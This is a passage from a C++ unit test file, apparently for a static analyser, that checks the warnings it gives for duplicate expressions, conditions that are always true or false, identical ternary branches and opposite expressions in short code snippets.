ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n 